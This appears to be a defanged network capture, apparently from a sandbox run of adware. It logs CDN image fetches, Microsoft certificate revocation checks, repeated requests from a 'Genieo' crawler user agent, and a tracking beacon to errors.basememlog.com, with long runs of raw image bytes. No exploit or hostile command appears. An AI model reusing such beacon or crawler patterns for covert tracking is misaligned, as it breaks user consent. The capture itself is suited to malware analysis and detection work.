1_.4.1..G.$..?.ujO<[email protected]...?c......S..P43....6.4F......J..2....
.*.k...M......... >..twg..Dm.....;TmU}=..ce._.S..% :jH.....j.|@....
6.I.N8..!....Z...yG.y..[R.^..AB...#qRXUlUo.............'.H[.../.......
..~/.y3v. ...LM..._..#./>.=F.u..f...u..d.s@vQ.~....o...*..2.S.)..h.
....%!J..L.h.....6*...q.$.m.T.>.$f..in.hF5.UH}....".U.,....`...M...
.H=...K.j;...5a....C.Sj.P.l.w....q...u..-s..wHn-..n...>u[..........
...,..m..|E...wN< *.k.....5....e....J. . ...Z......7....y.N.)...`l.
7..p.L.?Z>4..7.M.8>5>[email protected].>...".
.V],.y=;x....".c...).y.$x....)..].7._p....'A .X..........d...R..dQ.Ovo
q0.uk.. .,..... .PUb....#.Ak.=.....Md.o.....c&....s...G... .....|S....
.c&.h$k...pB..\....7.O...].o....A...#......?....U.u.....".T...>.~s~
.U.z.....W....l...?..PwV.....:i...ysK...p_.C...([email protected].@.<<< skipped >>>

GET /cnnnext/dam/assets/150515150646-defining-moments---argentina-football-fans-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 42702

Cache-Control: max-age=3267

Expires: Fri, 15 May 2015 23:59:30 GMT

Date: Fri, 15 May 2015 23:05:03 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.L.........................!1A.."Qa..2q..#B...Rb...$3r..C...%4.DTc...S
t....................................0.......................!.1A."Qa.
#2q....3B..4..............?......Yn..$......V.,.%].....q.X[..Vl0.1....
V:fe....Xad].ar<..>8.I..t.n..</.l..<-...?..<H........c.
...o1.....{....0.......#....a.-..4...:.R...2.N..dy3.T"..... .:7.......
.I....t.*..A'..7.r.jN..TT..`...(H.N*...T....U.5..GKc.3.........=.c.O..
./...^.;C...MU..EO..yUu b..!..A........e...p.Gg...-..#-..U E..@/k...`.
}..2..g.}Q...$ j..oq...F...Y.Ck.S..o,...S1.H...p@.*..$..Q.0...ai&..6..
......t...\[email protected]..[..@%4.]........"..\!b.a......0..1'...o.3c~..
I...>[email protected].. ... .0.o.(V..pR.5..a$.....
[email protected]....]P.....$...R;.........Qi.....1..!..V......
..%..k.8?,>X.[[email protected].....!.a%.\.............Ap6.c.E.
1.[..p ....~....p.&........a....`...)@....M....L&.m..8.%...6..p.......
.{Z.:f...is..... .l.1.........*K...D.=\.Q.AJ.c.i..J...b.{......<..#
OI]..}L)..X.i..X*c...10...R6..m...~..*.3.n.f....8.).s..5.A@].;:.ISSYGP
.$..{......>.e..V^.2.... ..Va.{.f{=..Y.k......s;wq.T..=.x......"[X.
p.#~M...r....p.6 SH...A..l*...._E..1.....).a{.p..]..0.......%........t
..<[email protected]..`.{......^j....l......K.(.y%_f
.../.L.............:...K...Zl..Qd.......h....}.>x.n....r.g..ZJ.<<< skipped >>>

GET /cnnnext/dam/assets/150508120535-tina-fey-strips-letterman-01-large-169.png HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/png

Content-Length: 191010

Cache-Control: max-age=3305

Expires: Sat, 16 May 2015 00:00:09 GMT

Date: Fri, 15 May 2015 23:05:04 GMT

Connection: keep-alive
.PNG........IHDR..............e4... .IDATx.|.Y.dIv.v......T.2..P"@..I.
H.)QOz....~.~.L?C...d4..F. .... ...LwW..q...~<.............}.....L.
........#..j ....Y.........[.........2...?w.s.?...x.../m....7!...._..7
.~............M?P>W.p..x#....e...m..r.D..6.._...H...E..r.r4..|..?..
..}.|..._.m].<..........5..D.. ..........s......F.......z@d_..G..\.
q..=.>.......\G..e.l......~...5...;o..9.....>....u...."../.ki7..
..)>..~..Cr.(>....r?....p|..=.w...k..t.._..).......M...*.S.W....
z...&.].7.5...............';c.c....}..... h./....n......5..6.n'4.k...[
.X..n..2...].<. ].y.5...}...y.y..k.w..m.?..,..8....}..v.....)..jp7.
.~|.a.`7......z..-..........r..y........_...>.W?.Z........o>....
Wx..y9,.O....~...=x.g...G..........x..8....?.'....?........e\.........
...2..q-.X..g8...{.??...Y.g.V../|n..]$OU...%~.lMu.g~]x.Y...,7y.u\.Y/..
..}.:yFt..Um.<v.KP...?|/.3A~....=l?>...7?...?./.....X..u..5.....
K.3....k.)......oA........."...{........g.....c.....X\vL]........z....
p.....4~..?...5..#.....p..aw.#...Y.$.....ZA.........)?g.kQw_.'Y.'.3J..
t.............z.'L...[a..&..o...h'O.......K...V."v.....O.....w......\.
.N.......k..[...d.07{.EmW.#. ........../...D.u....].J7.......b.h..m...
....1.....{. ..E...E.I..h. D...@7....."...j....w...w.<]md..^.E..[.d
7O....)I..][email protected].;.....,.$...])O......fZ>...m:q.a<....T...c. 
.I.<'..5..zOt........[.M6.....rom..D.l.6.......... ..$...-!.{#...9.
t^..V.Inc....9....zy6tM.k..y....(7O*-1........Q... .a...5.......E.~-Y.
v...=.Q^?~..yR.l.R^..v....v.g...%..~V.........a......F........N.dc<<< skipped >>>

GET /cnnnext/dam/assets/150514151419-baby-3-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 23094

Cache-Control: max-age=6084

Expires: Sat, 16 May 2015 00:46:29 GMT

Date: Fri, 15 May 2015 23:05:05 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.N.........................!.1."AQ..a.2q..#BR......$4bt....378dr.Ccs.%
'(DS.............................................................!1..A
q23Q.."4ar..Rb.............?..._^~C.~Tz'.a.....:..CW.....|.tI...~.#...
q...ux#..c4.5...."W...e$n2z`c"..HK....H.1.N....(.*....y..:.._......(..
8.W...z.7cS..x...Bv9..H.%.k....r.b.jv{6.v.mh.q..?.7I..G..'!v(.....a6..
.E%..%d...h...........\;,..U|T..#y...mu....b. .l..27..B.6.....B.....(.
[email protected]`....Y..O.i......*.].....g.....N.........V.4v.(1\..M..
r;..@..`......<.Y...z.......{...UU..:...V}.V...i...d1OC.v.....l.A.i
..WK....|........95....-...x&..j.....|;i..C....\...x... ..1./.-r...W..
..M.76..Vr".>....;W...5..eq-.H...0..8.u.^.....d..S....1m.....F.jd..
.. .%!.;.hZ.v.....w..A..$T....u.0.Op(.....r..9....... ...q.U..#.._t...
C$.*.....{hW.C...X.......*%...f...CG(...3....u.c.....=...t.w...T.[....
.....5{$.V%..........|..Yc.m .I\iB."..s.>..a{....CN...ln...b..%.."]
]..4.....pW..i._=..8*IV'.. .b...X......R_..Yt...5..y&......$S.8...iS..
..]......._M.R.xB..p.r*.i....9.....C.n..u>...p....,r.6M......n..\..
....#....7X.cTnh.:.]_...Hl...P...6].ep3I...&...[.I..]..<..U=.^k....
.6{..Q..(.M....R....C.'.&..Dc.~....L6.....{.V.,Q...7...3.)[email protected]
F......w..H:q....N......(.,H..cO.-.7z.....g.....?P,Q2.X....j.........v
iQ.`...n..1 .G-....nz.....-,...O..)tK.~M.....q.....6. .x..<..;r<<< skipped >>>

GET /cnnnext/dam/assets/150512181019-nepal-saugat-3-large-169.png HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/png

Content-Length: 227656

Cache-Control: max-age=682

Expires: Fri, 15 May 2015 23:16:28 GMT

Date: Fri, 15 May 2015 23:05:06 GMT

Connection: keep-alive
.PNG........IHDR..............e4... .IDATx.....]gv%v../..9!G.`j.....%.
..%[k<..../....e.c.g.5....R..9...([email protected]\ETxu...w.
.'.c..!.7...}.~~....<.m.....lY[..........G.....tK.T._.R....p.Zk.c.$
.O.....-..#N4*.lFz.....O....?..S...kW$..K.o.x.........[l.W......y.....
~.y..|}.........K.v..|...[.:sm....4..P.....KZ-.......m.k.g*b....P.....
,..K...F.".}.X..f.&..kz...}_O....I:..x,..L.g .....o5........233#3....h
H2..s..t6 .hB2...3&.xB........&.........Q.s...y^S..%.F..1...3q$.....^.
..q.....M.k}Y]]./..B...[.L..X....../o..=...K.7....._.h2)M.............
.t.B......YO^..C..Z.Y..u...!7........./f}<.[.....c.o.......:..[_.1.
....~.... l..w.'<_...Y..u]....w...t..cQ..%.......... 2>>$.}..
dt..={:8./7........^........K..}.....U=..D...]....>.8.x..cV .s.....
T.U)V*\..l..`.......v...F....s[..6.....c.F...,t.....\<{F.VK.jT|5.55
..e...Em|`0v.Y...jn5...}l.l.n.%.. ...]....msM..v`.....'.5..c..... ....
l*"^...fts}..,-..qm.V..&..Y.)@.....$.1...z..I:..J\wL.W._j.....:..]...K
....~Y...u(p/...$.J..l ..z....r[R).%./...RoTy..=.G.Q.T.t&... .;..X$*I.
.Z.&.?.H...XCC.6.2<:"..C26.......U.*.z........o....,..Kz..\...... |
^.l\*..6...N....M....g.....B.......x..B#..f...:]V.z.!.X....bW.-1.a.x..
....6 ....C......N&t.:...H.s.|.....\....g.....Qu.#......"o...\..ZK.uY6
6......~y<6............:....]\..#.<[email protected].(..F;0...*.yR.W....p.
. ........... [........#..e.R..5*K.s.(i)(K ..2..K..N...j.Lh.|..`K<.
udh6)eS.......X.[q......pb1P:!.......5...F.c1=WO.oI$.KZ.S/F..6......."
....LF....3-..._.....d.2. 7........z}Y..c..k.......p..&'e;...S...H<<< skipped >>>

GET /cnnnext/dam/assets/150423163714-migrants---s046644079-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 34734

Cache-Control: max-age=3868

Expires: Sat, 16 May 2015 00:09:35 GMT

Date: Fri, 15 May 2015 23:05:07 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
..H.........................!..1A."Qa..q.2...#B...3Rb....$C..r.%&Ss...
4...................................7........................!1A..."Qq
.2..#a...3B....$b...............?.....j.P...].yM}....<.;m&.....?..c
...M..%H.o]....a..T..j.A. [email protected]...&c#. 1[....=4.........^...h...t~.
.m.C %..Mu..g5. 3.z.Pd...j#;..5.Y.!.s...i.f..'.Z..O..........(*..=C..r
....B...K..TG.F.......y.w...~=..,}X....Qk.. .f..).$.}....Z..%.j`...u.'
..r...FWG<[email protected]"..... ........C..3 x
...p..{a....y..qA#'.....1..}.B..5#\..g...R......BNI.# .:m..U.^..L..j..
....)..........P..X>.........8..P*#.I.}...E?Y{.....D6.u.L...u*..G.=
?.....w....R..8Z3.~...*..z.V..PaJQ8d.......v...7.i.V.... p((....O.. ..
5c.../.\..J.XI.Ud.7....bm....(...W.....I...e.d=......7..z.T.........E.
.|8@=.hVe....$N.c2O.........*a3!.u?.....J.k. .s..u.".9..(...t.l.sQ.i/.
\...|..V.j.WG.q..:MG.8.&.<D......,....7..8...r.....|....r...D}.?3@=
h(..........z.....Z.94.n.*k........F..)..X....w.....t>.....1.{.{.9R
|[email protected][....8.......iI......A........F.P1....'._p
...........wr6...'2........GZ.....S]....R........x..t.>...&.A#j...a
*..A.tv7..2............A(J.qQ}.....g.i.n.yjR7.....#..w...."L<...5..
f.4....d...^.Of4V$...a.J.p......#p..!(u..i.]angO_U. .Xq...kP...y.P.v.K
.[....t!`..ON..7-zwA...}Ap.........SA.@ \.>.D.&d9..!....9.n...7<<< skipped >>>

GET /cnnnext/dam/assets/150409105546-pkg-paton-walsh-afghanistan-kabul-waits-00001913-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 25270

Cache-Control: max-age=3386

Expires: Sat, 16 May 2015 00:01:34 GMT

Date: Fri, 15 May 2015 23:05:08 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.C.........................!.1.."AQaq..2..#B....3R..$Cbr...]Tc......
.............................*......................!..1.A."Qa#2.3q...
............?.#6.n......2=.}....L....(m.%0O8...)L..X.......u=.@D..!..J
n...n.m......c.[...;...n..^.....uvI.@..;.?.T}...:y...).../.~h.xB%]ib..
*3JI.,..}.....,......#P.'.?j-..:..ut...8.0zC..#... G.8"^.H.9...OAc...f
.t.......5`.pI.L..V..oa...u.........G..L... )...K..}.f...f..-K#F.....g
".l.2......J.k!_H-..h...O8PFy...nK-.t...:..1.c.......[..I..=??J...AU..
E1h.......s.>..K;.r}G.$[X...Zg8.......P.,..Xf.Cw...jA...m....<V.
PBX(.....j.n.....gc.c.F. ...#,..d^.......W.09...~....E|....qDa.b...{..
o.v.?.b.r..'.......n....^..c.P.5..GK....:~.dP..3......&...i..|C...V.5.
...-......>x......j....#<.f.>Xb...p..1..7...........z....G...
-4er o..ZL..YzG..H..5.q........9......I.m[........._.....W...=N......T
......h....>J.<......pn:......H..1p.G..n..EiP..sR......QH. L...m
1...`|Th.`...[.V..G.ZB3..Dg._q.......-..3.....D.J.....#.w.'P.@;...o5..
V./......9..$-.4.o..*..9.K...E.19.......I......yQ..{.E.......ea..j5...
..S.y@..=!....k_$.Q.F3C...i..8..[Y.Vp.....i.P.ozB.6....[B...7.u....[.m
.a.8e......zy....S.....m...h'.x....W:................c..Z.....d.=en.1.
...[.....?J..h...]...0......v...9. ...XG$,:x.k..H....I.=..M.D...u.....
.H..SW]...j..1....]b/"..A.{.m..PM.t...<...{} O.7&...*b....l^..N<<< skipped >>>

GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Tue, 24 Mar 2015 05:02:25 GMT

If-None-Match: "a1132b8ef65d01:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 304 Not Modified

Content-Type: application/pkix-crl

Last-Modified: Tue, 24 Mar 2015 05:02:25 GMT

ETag: "a1132b8ef65d01:0"

Cache-Control: max-age=900

Date: Fri, 15 May 2015 23:06:07 GMT

Connection: keep-alive

....

GET /pki/crl/products/WinPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Sat, 07 Mar 2015 06:01:44 GMT

If-None-Match: "dde36a309c58d01:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 304 Not Modified

Content-Type: application/pkix-crl

Last-Modified: Sat, 07 Mar 2015 06:01:44 GMT

ETag: "dde36a309c58d01:0"

Cache-Control: max-age=900

Date: Fri, 15 May 2015 23:06:07 GMT

Connection: keep-alive

....

GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 05 Mar 2015 06:01:35 GMT

If-None-Match: "cf2633d6957d01:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 304 Not Modified

Content-Type: application/pkix-crl

Last-Modified: Thu, 05 Mar 2015 06:01:35 GMT

ETag: "cf2633d6957d01:0"

Cache-Control: max-age=900

Date: Fri, 15 May 2015 23:06:07 GMT

Connection: keep-alive

HTTP/1.1 304 Not Modified..Content-Type: application/pkix-crl..Last-Mo
dified: Thu, 05 Mar 2015 06:01:35 GMT..ETag: "cf2633d6957d01:0"..Cache
-Control: max-age=900..Date: Fri, 15 May 2015 23:06:07 GMT..Connection
: keep-alive..

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.cnbc.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Via: 1.1 C aicache6

Content-Length: 392

X-Aicache-OS: -:9999

Connection: Keep-Alive

Keep-Alive: max=20

Expires: Fri, 15 May 2015 23:05:16 GMT

#.# robots.txt.#.# This file is to prevent the crawling and indexing o
f certain parts.# of your site by web crawlers and spiders run by site
s like Yahoo!.# and Google. By telling these "robots" where not to go 
on your site,.# you save bandwidth and server resources..#..Sitemap: h
ttp://VVV.cnbc.com/Sitemap.xml.Sitemap: hXXp://VVV.cnbc.com/sitemap_ne
ws.xml..User-agent: *.Disallow: /preview/.....

GET /id/19746125/device/rss/rss.xml HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.cnbc.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:05:05 GMT

Server: Apache

Keep-Alive: timeout=15, max=90

Content-Type: text/xml;  charset=utf-8

Via: 1.1 C aicache6

Content-Length: 13663

X-Aicache-OS: 10.10.1.21:80

Connection: Keep-Alive

Keep-Alive: max=20

Expires: Fri, 15 May 2015 23:05:10 GMT
<?xml version="1.0"?><rss version="2.0" xmlns:atom="hXXp://ww
w.w3.org/2005/Atom" xmlns:metadata="hXXp://VVV.w3.org/Metadata"><
;channel><atom:link href="hXXp://VVV.cnbc.com/id/19746125/device
/rss/rss.xml" rel="self" type="application/rss xml" /><title>
Top News and Analysis (pro)</title><description><![CDAT
A[CNBC Top News and Analysis]]></description><link>http
://VVV.cnbc.com/id/19746125</link><pubDate>Fri, 04 Jan 201
3 21:47 GMT</pubDate><lastBuildDate>Fri, 04 Jan 2013 21:47
 GMT</lastBuildDate><language>en-us</language><tt
l>60</ttl><item><title>This investing mistake cou
ld cost you in retirement</title><description><![CDATA[
It is becoming increasingly clear that the conventional wisdom about r
etirement investing is flawed. Here's what to do.]]></descr
iption><link>hXXp://VVV.cnbc.com/id/102659317</link><
;pubDate>Fri, 15 May 2015 12:00 GMT</pubDate><guid isPerma
Link="false">guid_102659317</guid><metadata:type>cnbcne
wsstory</metadata:type><metadata:id>102659317</metadata
:id> </item>  <item><title>Traders watch for econ
omic stall </title><description><![CDATA[Next week'
;s Fed minutes along with housing data might cause turbulence. ]]>&
lt;/description><link>hXXp://VVV.cnbc.com/id/102683835</li
nk><pubDate>Fri, 15 May 2015 22:52 GMT</pubDate><<<< skipped >>>

GET /id/19746125/device/rss/rss.xml HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.cnbc.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:05:05 GMT

Server: Apache

Keep-Alive: timeout=15, max=90

Content-Type: text/xml;  charset=utf-8

Via: 1.1 C aicache6

Content-Length: 13663

X-Aicache-OS: 10.10.1.21:80

Connection: Keep-Alive

Keep-Alive: max=20

Expires: Fri, 15 May 2015 23:05:10 GMT
<?xml version="1.0"?><rss version="2.0" xmlns:atom="hXXp://ww
w.w3.org/2005/Atom" xmlns:metadata="hXXp://VVV.w3.org/Metadata"><
;channel><atom:link href="hXXp://VVV.cnbc.com/id/19746125/device
/rss/rss.xml" rel="self" type="application/rss xml" /><title>
Top News and Analysis (pro)</title><description><![CDAT
A[CNBC Top News and Analysis]]></description><link>http
://VVV.cnbc.com/id/19746125</link><pubDate>Fri, 04 Jan 201
3 21:47 GMT</pubDate><lastBuildDate>Fri, 04 Jan 2013 21:47
 GMT</lastBuildDate><language>en-us</language><tt
l>60</ttl><item><title>This investing mistake cou
ld cost you in retirement</title><description><![CDATA[
It is becoming increasingly clear that the conventional wisdom about r
etirement investing is flawed. Here's what to do.]]></descr
iption><link>hXXp://VVV.cnbc.com/id/102659317</link><
;pubDate>Fri, 15 May 2015 12:00 GMT</pubDate><guid isPerma
Link="false">guid_102659317</guid><metadata:type>cnbcne
wsstory</metadata:type><metadata:id>102659317</metadata
:id> </item>  <item><title>Traders watch for econ
omic stall </title><description><![CDATA[Next week'
;s Fed minutes along with housing data might cause turbulence. ]]>&
lt;/description><link>hXXp://VVV.cnbc.com/id/102683835</li
nk><pubDate>Fri, 15 May 2015 22:52 GMT</pubDate><<<< skipped >>>

HEAD /id/19746125 HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.cnbc.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 404 Not Found

Date: Fri, 15 May 2015 23:05:08 GMT

Server: Apache

Vary: User-Agent

Via: 1.1 aicache6

Content-Length: -1

X-Aicache-OS: 10.10.1.20:80

Connection: close

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.mozilla.org

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Content-Type: text/html

Date: Fri, 15 May 2015 23:04:53 GMT

Location: hXXps://VVV.mozilla.org/robots.txt

Connection: Keep-Alive

Content-Length: 0

HTTP/1.1 301 Moved Permanently..Content-Type: text/html..Date: Fri, 15
 May 2015 23:04:53 GMT..Location: hXXps://VVV.mozilla.org/robots.txt..
Connection: Keep-Alive..Content-Length: 0......

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.mozilla.org

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Content-Type: text/html

Date: Fri, 15 May 2015 23:04:53 GMT

Location: hXXps://VVV.mozilla.org/robots.txt

Connection: Keep-Alive

Content-Length: 0

HTTP/1.1 301 Moved Permanently..Content-Type: text/html..Date: Fri, 15
 May 2015 23:04:53 GMT..Location: hXXps://VVV.mozilla.org/robots.txt..
Connection: Keep-Alive..Content-Length: 0......

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.mozilla.org

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Content-Type: text/html

Date: Fri, 15 May 2015 23:04:54 GMT

Location: hXXps://VVV.mozilla.org/

Connection: Keep-Alive

Content-Length: 0

....

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.mozilla.org

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Content-Type: text/html

Date: Fri, 15 May 2015 23:04:55 GMT

Location: hXXps://VVV.mozilla.org/

Connection: Keep-Alive

Content-Length: 0

HTTP/1.1 301 Moved Permanently..Content-Type: text/html..Date: Fri, 15
 May 2015 23:04:55 GMT..Location: hXXps://VVV.mozilla.org/..Connection
: Keep-Alive..Content-Length: 0......

HEAD / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.mozilla.org

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Content-Type: text/html

Date: Fri, 15 May 2015 23:04:57 GMT

Location: hXXps://VVV.mozilla.org/

Connection: Keep-Alive

Content-Length: 0

HTTP/1.1 301 Moved Permanently..Content-Type: text/html..Date: Fri, 15
 May 2015 23:04:57 GMT..Location: hXXps://VVV.mozilla.org/..Connection
: Keep-Alive..Content-Length: 0......

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.mozilla.org

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Content-Type: text/html

Date: Fri, 15 May 2015 23:04:58 GMT

Location: hXXps://VVV.mozilla.org/

Connection: Keep-Alive

Content-Length: 0

HTTP/1.1 301 Moved Permanently..Content-Type: text/html..Date: Fri, 15
 May 2015 23:04:58 GMT..Location: hXXps://VVV.mozilla.org/..Connection
: Keep-Alive..Content-Length: 0..

GET /cnnnext/dam/assets/150504161502-arwa-nepal-5-large-169.jpeg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 49244

Cache-Control: max-age=3024

Expires: Fri, 15 May 2015 23:55:31 GMT

Date: Fri, 15 May 2015 23:05:07 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.D.........................!.1.."AQ.aq2..#B.....Rb...$3Cr...%c..6S....
...............................7......................!..1A.."Qaq2....
......#BR..3.cr............?..I.=..^. .@..\...~5..1.z..![Y..[n%s...P..
J$.....\.-..-..Z.?..w.5 ..*.....ww:........)...=....G.... ..'.R....).2
.;.o|...Y=...>..Z.)...n..H.....>....}B........s.V=.......5%. .~F
.Au.>....h"..SG .s..@*n..7...B...^..)9G.......b..F>......qM.q...
G?.z..<..s.KI ......{.(.....F28V.F..d.....5.d.I9>.}PY..Zr..{jP..
r?}....j.........Nr9...Q}A.....;j.EV...|k..4..|L.p;.u.s.{....PC....:)N
....${.^..k..S.*=\..K...k.voP...=..NW......>51.|...p.y3..l..Q.w....
L.q.M]..(..........u..q.\......2X.o..a.....r.9....q...xJ.H......|...:.
<g<j,.^.H.{jmE-...f..^,e.O...e.........J.....F.......'8<.L...
.;..P.J..L6O..Q;[email protected].:..q..s.zy..B...(*.j.
a..JI......j..,..(.W..s*..a.......n..C...C...2Ol.i...a2{.I9.&.h.^IU=O.
D.<....P.:..;e...j....8B...:.5a',.b5v4..(4......8...U..6|`.{g..CW.q
..j.%..bB..$.:!c[.U...z...,..$...T.#<.........p.3c.y...D]..........
.Dnw(...b...............a..|v....#L..U....H.;4x.. .Y....;m.......[K-..
ROA\....SE10....G...6&..v.........M..*..J_...t....Y..h..i.."..O9.X.Q..
..<...........7Z.).i.i...$.zK..XdSA....a...... !.,t.r...bH.....z...
^. .....;v...<k...*.?....~5.G=....RO..Z./|.}{.?Q..-.{..n?mp*)L.<<< skipped >>>

GET /cnnnext/dam/assets/150331115950-high-school-students-in-eyeglasses-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 37004

Cache-Control: max-age=3149

Expires: Fri, 15 May 2015 23:57:37 GMT

Date: Fri, 15 May 2015 23:05:08 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.M..........................!.1.AQ.."aq#2...B......$3R..br....LSs..c
..&FT...................................;.......................!..1A.
"Qa..q.........#2R3Bb..Sr...............?......Q .....}YN{....-..{.)..
o.U...5y...6..k....A*.z......T.O..L.G....o.t5'U..........onWv..b....m.
.p..9.O.iz.....d.y.....MQ.F.E....>0=h.....?.6.u...v....c.DOP.PJb...
t.S....1Q..}..YH?.........9H..B.W....5.=...p..`.......d.V'.:9.D4..,..w
NlM;u?...T..7....`.Z}....~J.......Fl:...v....JX......>.......J.-...
M42.Q..)...YR..]e.2.h..tD8..y......^Q...^..Y.)C...rs[.!..m S<w.....
.w..A%.{(.^DTP\e'..........VG....;s\.......O..l2.iI...(.;q.(9......j. 
]....pNjs.....4R..pk.W.......N../>j...Y..nJ....w`....lBD.Sm...J4...
..%c.RE........rY..p.1...!.~....?Oz..Lv................v.`...`.A?Z. .6
......!..IQ$.~B...V...R......U..=ewR\.m..}..Bw...2q.Q.E.$..J......u...
....m_...(.#.\ .c.j'....xn9....pO.'..kb....B.&Q..!DmO....G....\.._...2
.V.{q.O@..&8K..u.&J..~.)..L..*o.%w.<...V0..8.>g..}}._.....-y'...
...W..5..m.S.Hc....U..T..<-.Y..........!. ?Uw.)........GR..'cc..?@.
........$..=3O.-.lNG..i.#  .~<..Tr.....e\.v...vnW....4Wh..M5x.qc..!
%.!<..`.]b..{....I...m....*mn.....X>'.......>.~...l....#]Y...
G.-.:.3.......4.........>.V...m.....7W].F.....$.....-.......%.%.eC.
..H...,..........R.HO...O.C..q.[..'c.Q.k<..K....9-!...........=<<< skipped >>>

GET /utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1431730972 HTTP/1.1

Host: errors.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: GIG2Oq AozTE1ekpb0S3Xup3waO2xTxzGWC i8d/zVkZk J5tDXHRz6OfWLjpV8dwQWeAqrpYJU=

x-amz-request-id: 542543FA3A981E55

Date: Fri, 15 May 2015 23:02:54 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:05:57 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: GIG2Oq
